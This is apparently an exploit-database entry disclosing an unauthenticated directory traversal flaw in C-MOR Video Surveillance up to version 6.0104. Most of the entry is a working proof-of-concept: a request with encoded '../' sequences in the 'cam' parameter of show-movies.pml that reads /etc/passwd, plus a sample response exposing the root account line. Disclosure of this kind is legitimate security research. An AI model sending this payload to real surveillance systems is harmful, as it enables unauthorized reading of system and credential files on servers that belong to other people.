# Exploit Title: C-MOR 6.0104 - Directory Traversal
# Google Dork: N/A
# Date: 2026-07-23
# Exploit Author: Fadi Kaakahji (Alb Cyber Guards)
# Vendor Homepage: https://www.c-mor.com
# Software Link: https://www.c-mor.com/
# Version: <= 6.0104
# Tested on: C-MOR Video Surveillance V6.0104
# CVE: CVE-2026-51134
# 1. Description:
# The C-MOR Video Surveillance web interface (up to version 6.0104) by za-internet GmbH
# is vulnerable to Directory/Path Traversal. Unauthenticated attackers can access
# arbitrary system files via specially crafted HTTP requests using directory
# traversal sequences (e.g., '../') in the 'cam' parameter of the show-movies.pml component.
# 2. Proof of Concept (PoC):
# Retrieve the /etc/passwd file from the target server:
http://[TARGET]/show-movies.pml?cam=cam5..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&days=1100
# Vulnerable Code in Response (Example for /etc/passwd):
# <span class=hl> Aufnahmen Kamera 5../../../../../../../../../../../../../../../../etc/passwd, Standort: root:x:0:0:root:/root:/bin/bash</span>
